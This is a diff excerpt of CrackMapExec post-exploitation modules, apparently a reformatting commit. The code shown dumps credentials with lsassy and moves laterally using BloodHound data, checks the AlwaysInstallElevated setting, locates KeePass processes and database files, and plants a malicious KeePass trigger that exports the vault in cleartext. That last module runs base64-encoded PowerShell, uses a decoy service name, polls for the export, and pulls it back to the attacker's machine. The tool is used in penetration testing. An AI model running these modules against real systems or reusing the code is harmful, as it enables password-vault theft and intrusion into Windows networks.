||||
)
|
||||
if session.smb_session is None:
|
||||
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
|
||||
@@ -190,9 +205,22 @@ class CMEModule:
|
||||
credentials_unique = []
|
||||
credentials_output = []
|
||||
for cred in credentials:
|
||||
if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]] not in credentials_unique:
|
||||
if [
|
||||
cred["domain"],
|
||||
cred["username"],
|
||||
cred["password"],
|
||||
cred["lmhash"],
|
||||
cred["nthash"],
|
||||
] not in credentials_unique:
|
||||
credentials_unique.append(
|
||||
[cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]])
|
||||
[
|
||||
cred["domain"],
|
||||
cred["username"],
|
||||
cred["password"],
|
||||
cred["lmhash"],
|
||||
cred["nthash"],
|
||||
]
|
||||
)
|
||||
credentials_output.append(cred)
|
||||
global credentials_data
|
||||
credentials_data = credentials_output
|
||||
@@ -209,34 +237,35 @@ class CMEModule:
|
||||
more_to_dump = cursor.fetchall()
|
||||
if len(more_to_dump) > 0:
|
||||
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
|
||||
connection.domain = user[0].split('@')[1]
|
||||
setattr(connection, "host", pc[0].split('.')[0])
|
||||
setattr(connection, "username", user[0].split('@')[0])
|
||||
connection.domain = user[0].split("@")[1]
|
||||
setattr(connection, "host", pc[0].split(".")[0])
|
||||
setattr(connection, "username", user[0].split("@")[0])
|
||||
setattr(connection, "nthash", user[1])
|
||||
setattr(connection, "nthash", user[1])
|
||||
try:
|
||||
self.run_lsassy(context, connection, cursor)
|
||||
cursor.execute(
|
||||
"UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
|
||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
|
||||
|
||||
process_creds(context, connection, credentials_data, dbconnection, cursor, driver)
|
||||
process_creds(
|
||||
context,
|
||||
connection,
|
||||
credentials_data,
|
||||
dbconnection,
|
||||
cursor,
|
||||
driver,
|
||||
)
|
||||
self.spider_pcs(context, connection, cursor, dbconnection, driver)
|
||||
except Exception:
|
||||
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
|
||||
if len(admin_access) > 0:
|
||||
context.log.fail(
|
||||
"No more local admin access known. Please try re-running Bloodhound with newly found accounts.")
|
||||
context.log.fail("No more local admin access known. Please try re-running Bloodhound with newly found accounts.")
|
||||
exit()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
db_path = connection.config.get('CME', 'workspace')
|
||||
db_path = connection.config.get("CME", "workspace")
|
||||
# DB will be saved at ./CrackMapExec/hash_spider_default.sqlite3 if workspace in cme.conf is "default"
|
||||
db_name = f"hash_spider_{db_path}.sqlite3"
|
||||
dbconnection = connect(
|
||||
db_name,
|
||||
check_same_thread=False,
|
||||
isolation_level=None
|
||||
)
|
||||
dbconnection = connect(db_name, check_same_thread=False, isolation_level=None)
|
||||
|
||||
cursor = dbconnection.cursor()
|
||||
if self.reset:
|
||||
@@ -257,10 +286,10 @@ class CMEModule:
|
||||
context.log.fail("Database update error", str(e))
|
||||
exit()
|
||||
|
||||
neo4j_user = connection.config.get('BloodHound', 'bh_user')
|
||||
neo4j_pass = connection.config.get('BloodHound', 'bh_pass')
|
||||
neo4j_uri = connection.config.get('BloodHound', 'bh_uri')
|
||||
neo4j_port = connection.config.get('BloodHound', 'bh_port')
|
||||
neo4j_user = connection.config.get("BloodHound", "bh_user")
|
||||
neo4j_pass = connection.config.get("BloodHound", "bh_pass")
|
||||
neo4j_uri = connection.config.get("BloodHound", "bh_uri")
|
||||
neo4j_port = connection.config.get("BloodHound", "bh_port")
|
||||
neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}"
|
||||
driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False)
|
||||
neo4j_conn(context, connection, driver)
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -7,7 +7,6 @@ from impacket.examples.secretsdump import RemoteOperations
|
||||
|
||||
|
||||
class CMEModule:
|
||||
|
||||
name = "install_elevated"
|
||||
description = "Checks for AlwaysInstallElevated"
|
||||
supported_protocols = ["smb"]
|
||||
@@ -15,8 +14,7 @@ class CMEModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
try:
|
||||
@@ -25,32 +23,48 @@ class CMEModule:
|
||||
|
||||
try:
|
||||
ans_machine = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans_machine['phKey']
|
||||
ans_machine = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, 'SOFTWARE\\Policies\\Microsoft\\Windows\\Installer')
|
||||
key_handle = ans_machine['phkResult']
|
||||
data_type, aie_machine_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, 'AlwaysInstallElevated')
|
||||
reg_handle = ans_machine["phKey"]
|
||||
ans_machine = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SOFTWARE\\Policies\\Microsoft\\Windows\\Installer",
|
||||
)
|
||||
key_handle = ans_machine["phkResult"]
|
||||
data_type, aie_machine_value = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
"AlwaysInstallElevated",
|
||||
)
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
|
||||
if aie_machine_value == 0:
|
||||
context.log.highlight('AlwaysInstallElevated Status: 0 (Disabled)')
|
||||
context.log.highlight("AlwaysInstallElevated Status: 0 (Disabled)")
|
||||
return
|
||||
except rrp.DCERPCSessionError:
|
||||
context.log.highlight('AlwaysInstallElevated Status: 0 (Disabled)')
|
||||
context.log.highlight("AlwaysInstallElevated Status: 0 (Disabled)")
|
||||
return
|
||||
try:
|
||||
ans_user = rrp.hOpenCurrentUser(remote_ops._RemoteOperations__rrp)
|
||||
reg_handle = ans_user['phKey']
|
||||
ans_user = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, 'SOFTWARE\\Policies\\Microsoft\\Windows\\Installer')
|
||||
key_handle = ans_user['phkResult']
|
||||
data_type, aie_user_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, 'AlwaysInstallElevated')
|
||||
reg_handle = ans_user["phKey"]
|
||||
ans_user = rrp.hBaseRegOpenKey(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
reg_handle,
|
||||
"SOFTWARE\\Policies\\Microsoft\\Windows\\Installer",
|
||||
)
|
||||
key_handle = ans_user["phkResult"]
|
||||
data_type, aie_user_value = rrp.hBaseRegQueryValue(
|
||||
remote_ops._RemoteOperations__rrp,
|
||||
key_handle,
|
||||
"AlwaysInstallElevated",
|
||||
)
|
||||
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
|
||||
except rrp.DCERPCSessionError:
|
||||
context.log.highlight('AlwaysInstallElevated Status: 1 (Enabled: Computer Only)')
|
||||
context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled: Computer Only)")
|
||||
return
|
||||
if aie_user_value == 0:
|
||||
context.log.highlight('AlwaysInstallElevated Status: 1 (Enabled: Computer Only)')
|
||||
context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled: Computer Only)")
|
||||
else:
|
||||
context.log.highlight('AlwaysInstallElevated Status: 1 (Enabled)')
|
||||
context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled)")
|
||||
finally:
|
||||
try:
|
||||
remote_ops.finish()
|
||||
|
||||
@@ -1,21 +1,22 @@
|
||||
from csv import reader
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Search for KeePass-related files and process
|
||||
Search for KeePass-related files and process
|
||||
|
||||
Module by @d3lb3
|
||||
Inspired by @harmj0y https://raw.githubusercontent.com/GhostPack/KeeThief/master/PowerShell/KeePassConfig.ps1
|
||||
Module by @d3lb3
|
||||
Inspired by @harmj0y https://raw.githubusercontent.com/GhostPack/KeeThief/master/PowerShell/KeePassConfig.ps1
|
||||
"""
|
||||
|
||||
name = 'keepass_discover'
|
||||
name = "keepass_discover"
|
||||
description = "Search for KeePass-related files and process."
|
||||
supported_protocols = ['smb']
|
||||
opsec_safe = True # only legitimate commands are executed on the remote host (search process and files)
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # only legitimate commands are executed on the remote host (search process and files)
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.search_type = 'ALL'
|
||||
self.search_type = "ALL"
|
||||
self.search_path = "'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'"
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -29,44 +30,49 @@ class CMEModule:
|
||||
Default: 'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'
|
||||
"""
|
||||
|
||||
if 'SEARCH_PATH' in module_options:
|
||||
self.search_path = module_options['SEARCH_PATH']
|
||||
if "SEARCH_PATH" in module_options:
|
||||
self.search_path = module_options["SEARCH_PATH"]
|
||||
|
||||
if 'SEARCH_TYPE' in module_options:
|
||||
self.search_type = module_options['SEARCH_TYPE']
|
||||
if "SEARCH_TYPE" in module_options:
|
||||
self.search_type = module_options["SEARCH_TYPE"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
if self.search_type == 'ALL' or self.search_type == 'PROCESS':
|
||||
if self.search_type == "ALL" or self.search_type == "PROCESS":
|
||||
# search for keepass process
|
||||
search_keepass_process_command_str = 'powershell.exe "Get-Process kee* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"'
|
||||
search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) # we return the powershell command as a CSV for easier column parsing
|
||||
csv_reader = reader(search_keepass_process_output_csv.split('\n'), delimiter=',')
|
||||
next(csv_reader) # to skip the csv header line
|
||||
row_number = 0 # as csv_reader is an iterator we can't get its length without exhausting it
|
||||
search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) # we return the powershell command as a CSV for easier column parsing
|
||||
csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",")
|
||||
next(csv_reader) # to skip the csv header line
|
||||
row_number = 0 # as csv_reader is an iterator we can't get its length without exhausting it
|
||||
for row in csv_reader:
|
||||
row_number += 1
|
||||
keepass_process_id = row[0]
|
||||
keepass_process_username = row[1]
|
||||
keepass_process_name = row[2]
|
||||
context.log.highlight('Found process "{}" with PID {} (user {})'.format(keepass_process_name, keepass_process_id, keepass_process_username))
|
||||
context.log.highlight(
|
||||
'Found process "{}" with PID {} (user {})'.format(
|
||||
keepass_process_name,
|
||||
keepass_process_id,
|
||||
keepass_process_username,
|
||||
)
|
||||
)
|
||||
if row_number == 0:
|
||||
context.log.display('No KeePass-related process was found')
|
||||
context.log.display("No KeePass-related process was found")
|
||||
|
||||
# search for keepass-related files
|
||||
if self.search_type == 'ALL' or self.search_type == 'FILES':
|
||||
if self.search_type == "ALL" or self.search_type == "FILES":
|
||||
search_keepass_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
|
||||
search_keepass_files_cmd = 'powershell.exe "{}"'.format(search_keepass_files_payload)
|
||||
search_keepass_files_output = connection.execute(search_keepass_files_cmd, True).split("\r\n")
|
||||
found = False
|
||||
found_xml = False
|
||||
for file in search_keepass_files_output:
|
||||
if 'KeePass' in file or 'kdbx' in file:
|
||||
if 'xml' in file:
|
||||
if "KeePass" in file or "kdbx" in file:
|
||||
if "xml" in file:
|
||||
found_xml = True
|
||||
found = True
|
||||
context.log.highlight('Found {}'.format(file))
|
||||
context.log.highlight("Found {}".format(file))
|
||||
if not found:
|
||||
context.log.display('No KeePass-related file were found')
|
||||
context.log.display("No KeePass-related file were found")
|
||||
elif not found_xml:
|
||||
context.log.fail('No config settings file found !!!')
|
||||
context.log.fail("No config settings file found !!!")
|
||||
|
||||
+103
-120
@@ -19,9 +19,9 @@ class CMEModule:
|
||||
Module by @d3lb3, inspired by @harmj0y work
|
||||
"""
|
||||
|
||||
name = 'keepass_trigger'
|
||||
name = "keepass_trigger"
|
||||
description = "Set up a malicious KeePass trigger to export the database in cleartext."
|
||||
supported_protocols = ['smb']
|
||||
supported_protocols = ["smb"]
|
||||
# while the module only executes legit powershell commands on the target (search and edit files)
|
||||
# some EDR like Trend Micro flag base64-encoded powershell as malicious
|
||||
# the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
|
||||
@@ -33,26 +33,26 @@ class CMEModule:
|
||||
self.action = None
|
||||
self.keepass_config_path = None
|
||||
self.keepass_user = None
|
||||
self.export_name = 'export.xml'
|
||||
self.export_path = 'C:\\Users\\Public'
|
||||
self.powershell_exec_method = 'PS1'
|
||||
self.export_name = "export.xml"
|
||||
self.export_path = "C:\\Users\\Public"
|
||||
self.powershell_exec_method = "PS1"
|
||||
|
||||
# additional parameters
|
||||
self.share = 'C$'
|
||||
self.remote_temp_script_path = 'C:\\Windows\\Temp\\temp.ps1'
|
||||
self.keepass_binary_path = 'C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe'
|
||||
self.local_export_path = '/tmp'
|
||||
self.trigger_name = 'export_database'
|
||||
self.share = "C$"
|
||||
self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1"
|
||||
self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe"
|
||||
self.local_export_path = "/tmp"
|
||||
self.trigger_name = "export_database"
|
||||
self.poll_frequency_seconds = 5
|
||||
self.dummy_service_name = 'OneDrive Sync KeePass'
|
||||
self.dummy_service_name = "OneDrive Sync KeePass"
|
||||
|
||||
with open(get_ps_script('keepass_trigger_module/RemoveKeePassTrigger.ps1'), 'r') as remove_trigger_script_file:
|
||||
with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1"), "r") as remove_trigger_script_file:
|
||||
self.remove_trigger_script_str = remove_trigger_script_file.read()
|
||||
|
||||
with open(get_ps_script('keepass_trigger_module/AddKeePassTrigger.ps1'), 'r') as add_trigger_script_file:
|
||||
with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1"), "r") as add_trigger_script_file:
|
||||
self.add_trigger_script_str = add_trigger_script_file.read()
|
||||
|
||||
with open(get_ps_script('keepass_trigger_module/RestartKeePass.ps1'), 'r') as restart_keepass_script_file:
|
||||
with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1"), "r") as restart_keepass_script_file:
|
||||
self.restart_keepass_script_str = restart_keepass_script_file.read()
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -87,49 +87,56 @@ class CMEModule:
|
||||
but they can still be easily edited in the module __init__ code if needed
|
||||
"""
|
||||
|
||||
if 'ACTION' in module_options:
|
||||
if module_options['ACTION'] not in ['ADD', 'CHECK', 'RESTART', 'SINGLE_POLL', 'POLL', 'CLEAN', 'ALL']:
|
||||
context.log.fail('Unrecognized action, use --options to list available parameters')
|
||||
if "ACTION" in module_options:
|
||||
if module_options["ACTION"] not in [
|
||||
"ADD",
|
||||
"CHECK",
|
||||
"RESTART",
|
||||
"SINGLE_POLL",
|
||||
"POLL",
|
||||
"CLEAN",
|
||||
"ALL",
|
||||
]:
|
||||
context.log.fail("Unrecognized action, use --options to list available parameters")
|
||||
exit(1)
|
||||
else:
|
||||
self.action = module_options['ACTION']
|
||||
self.action = module_options["ACTION"]
|
||||
else:
|
||||
context.log.fail('Missing ACTION option, use --options to list available parameters')
|
||||
context.log.fail("Missing ACTION option, use --options to list available parameters")
|
||||
exit(1)
|
||||
|
||||
if 'KEEPASS_CONFIG_PATH' in module_options:
|
||||
self.keepass_config_path = module_options['KEEPASS_CONFIG_PATH']
|
||||
if "KEEPASS_CONFIG_PATH" in module_options:
|
||||
self.keepass_config_path = module_options["KEEPASS_CONFIG_PATH"]
|
||||
|
||||
if 'USER' in module_options:
|
||||
self.keepass_user = module_options['USER']
|
||||
if "USER" in module_options:
|
||||
self.keepass_user = module_options["USER"]
|
||||
|
||||
if 'EXPORT_NAME' in module_options:
|
||||
self.export_name = module_options['EXPORT_NAME']
|
||||
if "EXPORT_NAME" in module_options:
|
||||
self.export_name = module_options["EXPORT_NAME"]
|
||||
|
||||
if 'EXPORT_PATH' in module_options:
|
||||
self.export_path = module_options['EXPORT_PATH']
|
||||
if "EXPORT_PATH" in module_options:
|
||||
self.export_path = module_options["EXPORT_PATH"]
|
||||
|
||||
if 'PSH_EXEC_METHOD' in module_options:
|
||||
if module_options['PSH_EXEC_METHOD'] not in ['ENCODE', 'PS1']:
|
||||
context.log.fail('Unrecognized powershell execution method, use --options to list available parameters')
|
||||
if "PSH_EXEC_METHOD" in module_options:
|
||||
if module_options["PSH_EXEC_METHOD"] not in ["ENCODE", "PS1"]:
|
||||
context.log.fail("Unrecognized powershell execution method, use --options to list available parameters")
|
||||
exit(1)
|
||||
else:
|
||||
self.powershell_exec_method = module_options['PSH_EXEC_METHOD']
|
||||
self.powershell_exec_method = module_options["PSH_EXEC_METHOD"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
if self.action == 'ADD':
|
||||
if self.action == "ADD":
|
||||
self.add_trigger(context, connection)
|
||||
elif self.action == 'CHECK':
|
||||
elif self.action == "CHECK":
|
||||
self.check_trigger_added(context, connection)
|
||||
elif self.action == 'RESTART':
|
||||
elif self.action == "RESTART":
|
||||
self.restart(context, connection)
|
||||
elif self.action == 'POLL':
|
||||
elif self.action == "POLL":
|
||||
self.poll(context, connection)
|
||||
elif self.action == 'CLEAN':
|
||||
elif self.action == "CLEAN":
|
||||
self.clean(context, connection)
|
||||
self.restart(context, connection)
|
||||
elif self.action == 'ALL':
|
||||
elif self.action == "ALL":
|
||||
self.all_in_one(context, connection)
|
||||
|
||||
def add_trigger(self, context, connection):
|
||||
@@ -144,18 +151,18 @@ class CMEModule:
|
||||
|
||||
# prepare the trigger addition script based on user-specified parameters (e.g: trigger name, etc)
|
||||
# see data/keepass_trigger_module/AddKeePassTrigger.ps1 for the full script
|
||||
self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_ExportPath', self.export_path)
|
||||
self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_ExportName', self.export_name)
|
||||
self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_TriggerName', self.trigger_name)
|
||||
self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_KeePassXMLPath', self.keepass_config_path)
|
||||
self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportPath", self.export_path)
|
||||
self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportName", self.export_name)
|
||||
self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_TriggerName", self.trigger_name)
|
||||
self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_KeePassXMLPath", self.keepass_config_path)
|
||||
|
||||
# add the malicious trigger to the remote KeePass configuration file
|
||||
if self.powershell_exec_method == 'ENCODE':
|
||||
add_trigger_script_b64 = b64encode(self.add_trigger_script_str.encode('UTF-16LE')).decode('utf-8')
|
||||
if self.powershell_exec_method == "ENCODE":
|
||||
add_trigger_script_b64 = b64encode(self.add_trigger_script_str.encode("UTF-16LE")).decode("utf-8")
|
||||
add_trigger_script_cmd = f"powershell.exe -e {add_trigger_script_b64}"
|
||||
connection.execute(add_trigger_script_cmd)
|
||||
sleep(2) # as I noticed some delay may happen with the encoded powershell command execution
|
||||
elif self.powershell_exec_method == 'PS1':
|
||||
sleep(2) # as I noticed some delay may happen with the encoded powershell command execution
|
||||
elif self.powershell_exec_method == "PS1":
|
||||
try:
|
||||
self.put_file_execute_delete(context, connection, self.add_trigger_script_str)
|
||||
except Exception as e:
|
||||
@@ -186,7 +193,7 @@ class CMEModule:
|
||||
search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"'
|
||||
search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True)
|
||||
# we return the powershell command as a CSV for easier column parsing
|
||||
csv_reader = reader(search_keepass_process_output_csv.split('\n'), delimiter=',')
|
||||
csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",")
|
||||
next(csv_reader) # to skip the header line
|
||||
keepass_process_list = list(csv_reader)
|
||||
# check if multiple processes belonging to different users are running (in order to choose which one to restart)
|
||||
@@ -194,72 +201,57 @@ class CMEModule:
|
||||
for process in keepass_process_list:
|
||||
keepass_users.append(process[1])
|
||||
if len(keepass_users) == 0:
|
||||
context.log.fail('No running KeePass process found, aborting restart')
|
||||
context.log.fail("No running KeePass process found, aborting restart")
|
||||
return
|
||||
elif len(keepass_users) == 1: # if there is only 1 KeePass process running
|
||||
# if KEEPASS_USER option is specified then we check if the user matches
|
||||
if self.keepass_user and (keepass_users[0] != self.keepass_user and keepass_users[0].split('\\')[1] != self.keepass_user):
|
||||
context.log.fail(
|
||||
f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart"
|
||||
)
|
||||
if self.keepass_user and (keepass_users[0] != self.keepass_user and keepass_users[0].split("\\")[1] != self.keepass_user):
|
||||
context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart")
|
||||
return
|
||||
else:
|
||||
self.keepass_user = keepass_users[0]
|
||||
elif len(keepass_users) > 1 and self.keepass_user:
|
||||
found_user = False # we search through every KeePass process owner for the specified user
|
||||
found_user = False # we search through every KeePass process owner for the specified user
|
||||
for user in keepass_users:
|
||||
if user == self.keepass_user or user.split('\\')[1] == self.keepass_user:
|
||||
if user == self.keepass_user or user.split("\\")[1] == self.keepass_user:
|
||||
self.keepass_user = keepass_users[0]
|
||||
found_user = True
|
||||
if not found_user:
|
||||
context.log.fail(
|
||||
f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart"
|
||||
)
|
||||
context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart")
|
||||
return
|
||||
else:
|
||||
context.log.fail('Multiple KeePass processes were found, please specify parameter USER to target one')
|
||||
context.log.fail("Multiple KeePass processes were found, please specify parameter USER to target one")
|
||||
return
|
||||
|
||||
context.log.display("Restarting {}'s KeePass process".format(keepass_users[0]))
|
||||
|
||||
# prepare the restarting script based on user-specified parameters (e.g: keepass user, etc)
|
||||
# see data/keepass_trigger_module/RestartKeePass.ps1
|
||||
self.restart_keepass_script_str = self.restart_keepass_script_str.replace(
|
||||
'REPLACE_ME_KeePassUser',
|
||||
self.keepass_user
|
||||
)
|
||||
self.restart_keepass_script_str = self.restart_keepass_script_str.replace(
|
||||
'REPLACE_ME_KeePassBinaryPath',
|
||||
self.keepass_binary_path
|
||||
)
|
||||
self.restart_keepass_script_str = self.restart_keepass_script_str.replace(
|
||||
'REPLACE_ME_DummyServiceName',
|
||||
self.dummy_service_name
|
||||
)
|
||||
self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassUser", self.keepass_user)
|
||||
self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassBinaryPath", self.keepass_binary_path)
|
||||
self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_DummyServiceName", self.dummy_service_name)
|
||||
|
||||
# actually performs the restart on the remote target
|
||||
if self.powershell_exec_method == 'ENCODE':
|
||||
restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode('UTF-16LE')).decode('utf-8')
|
||||
restart_keepass_script_cmd = 'powershell.exe -e {}'.format(restart_keepass_script_b64)
|
||||
if self.powershell_exec_method == "ENCODE":
|
||||
restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode("UTF-16LE")).decode("utf-8")
|
||||
restart_keepass_script_cmd = "powershell.exe -e {}".format(restart_keepass_script_b64)
|
||||
connection.execute(restart_keepass_script_cmd)
|
||||
elif self.powershell_exec_method == 'PS1':
|
||||
elif self.powershell_exec_method == "PS1":
|
||||
try:
|
||||
self.put_file_execute_delete(context, connection, self.restart_keepass_script_str)
|
||||
except Exception as e:
|
||||
context.log.fail('Error while restarting KeePass: {}'.format(e))
|
||||
context.log.fail("Error while restarting KeePass: {}".format(e))
|
||||
return
|
||||
|
||||
def poll(self, context, connection):
|
||||
"""Search for the cleartext database export file in the specified export folder
|
||||
(until found, or manually exited by the user)"""
|
||||
found = False
|
||||
context.log.display(
|
||||
f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient"
|
||||
)
|
||||
context.log.display(f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient")
|
||||
context.log.display("we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything")
|
||||
# if the specified path is %APPDATA%, we need to check in every user's folder
|
||||
if self.export_path == '%APPDATA%' or self.export_path == '%appdata%':
|
||||
poll_export_command_str = 'powershell.exe "Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output (\'C:\\Users\\\'+$_.Name+\'\\AppData\\Roaming\\{}\')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}"'.format(self.export_name)
|
||||
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
|
||||
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
|
||||
else:
|
||||
export_full_path = f"'{self.export_path}\\{self.export_name}'"
|
||||
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
|
||||
@@ -268,29 +260,29 @@ class CMEModule:
|
||||
while not found:
|
||||
poll_exports_command_output = connection.execute(poll_export_command_str, True)
|
||||
if self.export_name not in poll_exports_command_output:
|
||||
print('.', end='', flush=True)
|
||||
print(".", end="", flush=True)
|
||||
sleep(self.poll_frequency_seconds)
|
||||
continue
|
||||
print('')
|
||||
print("")
|
||||
|
||||
# once a database is found, downloads it to the attackers machine
|
||||
context.log.success('Found database export !')
|
||||
context.log.success("Found database export !")
|
||||
# in case multiple exports found (may happen if several users exported the database to their APPDATA)
|
||||
for count, export_path in enumerate(poll_exports_command_output.split('\r\n')):
|
||||
for count, export_path in enumerate(poll_exports_command_output.split("\r\n")):
|
||||
try:
|
||||
buffer = BytesIO()
|
||||
connection.conn.getFile(self.share, export_path.split(":")[1], buffer.write)
|
||||
|
||||
# if multiple exports found, add a number at the end of local path to prevent override
|
||||
if count > 0:
|
||||
local_full_path = self.local_export_path + '/' + self.export_name.split('.')[0] + '_' + str(count) + '.' + self.export_name.split('.')[1]
|
||||
local_full_path = self.local_export_path + "/" + self.export_name.split(".")[0] + "_" + str(count) + "." + self.export_name.split(".")[1]
|
||||
else:
|
||||
local_full_path = self.local_export_path + '/' + self.export_name
|
||||
local_full_path = self.local_export_path + "/" + self.export_name
|
||||
|
||||
# downloads the exported database
|
||||
with open(local_full_path, "wb") as f:
|
||||
f.write(buffer.getbuffer())
|
||||
remove_export_command_str = 'powershell.exe Remove-Item {}'.format(export_path)
|
||||
remove_export_command_str = "powershell.exe Remove-Item {}".format(export_path)
|
||||
connection.execute(remove_export_command_str, True)
|
||||
context.log.success('Moved remote "{}" to local "{}"'.format(export_path, local_full_path))
|
||||
found = True
|
||||
@@ -300,8 +292,8 @@ class CMEModule:
|
||||
def clean(self, context, connection):
|
||||
"""Checks for database export + malicious trigger on the remote host, removes everything"""
|
||||
# if the specified path is %APPDATA%, we need to check in every user's folder
|
||||
if self.export_path == '%APPDATA%' or self.export_path == '%appdata%':
|
||||
poll_export_command_str = 'powershell.exe "Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output (\'C:\\Users\\\'+$_.Name+\'\\AppData\\Roaming\\{}\')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}"'.format(self.export_name)
|
||||
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
|
||||
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
|
||||
else:
|
||||
export_full_path = f"'{self.export_path}\\{self.export_name}'"
|
||||
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
|
||||
@@ -310,7 +302,7 @@ class CMEModule:
|
||||
# deletes every export found on the remote machine
|
||||
if self.export_name in poll_export_command_output:
|
||||
# in case multiple exports found (may happen if several users exported the database to their APPDATA)
|
||||
for export_path in poll_export_command_output.split('\r\n'):
|
||||
for export_path in poll_export_command_output.split("\r\n"):
|
||||
context.log.display(f"Database export found in '{export_path}', removing")
|
||||
remove_export_command_str = f"powershell.exe Remove-Item {export_path}"
|
||||
connection.execute(remove_export_command_str, True)
|
||||
@@ -319,24 +311,17 @@ class CMEModule:
|
||||
|
||||
